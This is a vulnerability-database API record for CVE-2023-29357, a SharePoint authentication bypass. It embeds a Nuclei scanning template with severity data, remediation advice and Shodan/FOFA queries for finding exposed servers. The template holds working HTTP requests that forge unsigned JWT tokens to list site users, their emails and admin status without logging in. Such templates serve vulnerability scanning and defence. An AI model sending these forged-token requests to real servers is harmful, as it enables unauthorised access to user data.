{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2023-29357/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2023-29357/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2023-29357/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2023-29357/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2023-29357/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2023-29357"},"sightings":{"href":"/api/v1/sightings/cve-2023-29357"}},"data":{"nuclei":true,"nuclei_template":"http/cves/2023/CVE-2023-29357.yaml","nuclei_template_severity":"critical","nuclei_template_yaml":"id: CVE-2023-29357\n\ninfo:\n  name: Microsoft SharePoint - Authentication Bypass\n  author: pdteam\n  severity: critical\n  description: |\n    Microsoft SharePoint Server Elevation of Privilege Vulnerability\n  impact: |\n    Unauthenticated attackers can bypass authentication by forging JWT tokens with \"none\" algorithm to access SharePoint Server APIs, potentially gaining elevated privileges and accessing sensitive documents, user information, and SharePoint site configurations.\n  remediation: |\n    Apply Microsoft security patches from MSRC update guide CVE-2023-29357 that properly validates JWT token signatures and prevents authentication bypass in SharePoint Server.\n  reference:\n    - https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-29357\n    - https://srcincite.io/advisories/src-2020-0022/\n    - https://github.com/Chocapikk/CVE-2023-29357\n    - https://sec.vnpt.vn/2023/08/phan-tich-cve-2023-29357-microsoft-sharepoint-validatetokenissuer-authentication-bypass-vulnerability/\n    - https://starlabs.sg/blog/2023/09-sharepoint-pre-auth-rce-chain/\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2023-29357\n    epss-score: 0.99984\n    epss-percentile: 0.99982\n    cpe: cpe:2.3:a:microsoft:sharepoint_server:2019:*:*:*:*:*:*:*\n  metadata:\n    verified: true\n    max-request: 2\n    vendor: microsoft\n    product: sharepoint_server\n    shodan-query:\n      - http.headers_hash:-1968878704\n      - cpe:\"cpe:2.3:a:microsoft:sharepoint_server\"\n    fofa-query:\n      - app=\"Microsoft-SharePoint\"\n      - app=\"microsoft-sharepoint\"\n  tags: cve,cve2023,microsoft,sharepoint_server,kev,vkev,vuln\nvariables:\n  client_id: \"00000003-0000-0ff1-ce00-000000000000\"\n\nhttp:\n  - raw:\n      - |\n        GET /_api/web/siteusers HTTP/1.1\n        Host: {{Hostname}}\n        Authorization: Bearer\n      - |\n        GET /_api/web/siteusers HTTP/1.1\n        Host: {{Hostname}}\n        Accept: application/json\n        Authorization: Bearer {{generate_jwt(\"{\\\"aud\\\":\\\"{{client_id}}@{{realm}}\\\",\\\"iss\\\":\\\"{{client_id}}\\\",\\\"nbf\\\":1695987703,\\\"exp\\\":2011547223,\\\"ver\\\":\\\"hashedprooftoken\\\",\\\"nameid\\\":\\\"{{client_id}}@{{realm}}\\\",\\\"endpointurl\\\":\\\"qqlAJmTxpB9A67xSyZk+tmrrNmYClY/fqig7ceZNsSM=\\\",\\\"endpointurlLength\\\":1,\\\"isloopback\\\":true}\",\"none\")}}AAA\n        X-PROOF_TOKEN: {{generate_jwt(\"{\\\"aud\\\":\\\"{{client_id}}@{{realm}}\\\",\\\"iss\\\":\\\"{{client_id}}\\\",\\\"nbf\\\":1695987703,\\\"exp\\\":2011547223,\\\"ver\\\":\\\"hashedprooftoken\\\",\\\"nameid\\\":\\\"{{client_id}}@{{realm}}\\\",\\\"endpointurl\\\":\\\"qqlAJmTxpB9A67xSyZk+tmrrNmYClY/fqig7ceZNsSM=\\\",\\\"endpointurlLength\\\":1,\\\"isloopback\\\":true}\",\"none\")}}AAA\n\n    extractors:\n      - type: regex\n        part: header\n        group: 1\n        name: realm\n        regex:\n          - realm=\"([^\"]*)\"\n        internal: true\n\n      - type: json\n        json:\n          - .value[].Email\n    matchers:\n      - type: word\n        part: body_2\n        words:\n          - LoginName\n          - Email\n          - IsSiteAdmin\n        condition: and\n# digest: 4a0a0047304502210090ddc69995ddbf680f624936fa91a704794d6da543d988d7f05680f5994837840220536c709011d96aca994a598126ef861f92e6544fbf9c46bd6c973551d94a5c70:922c64590222798bb761d5b6d8e72950"},"source":"nuclei","vuln_id":"cve-2023-29357"}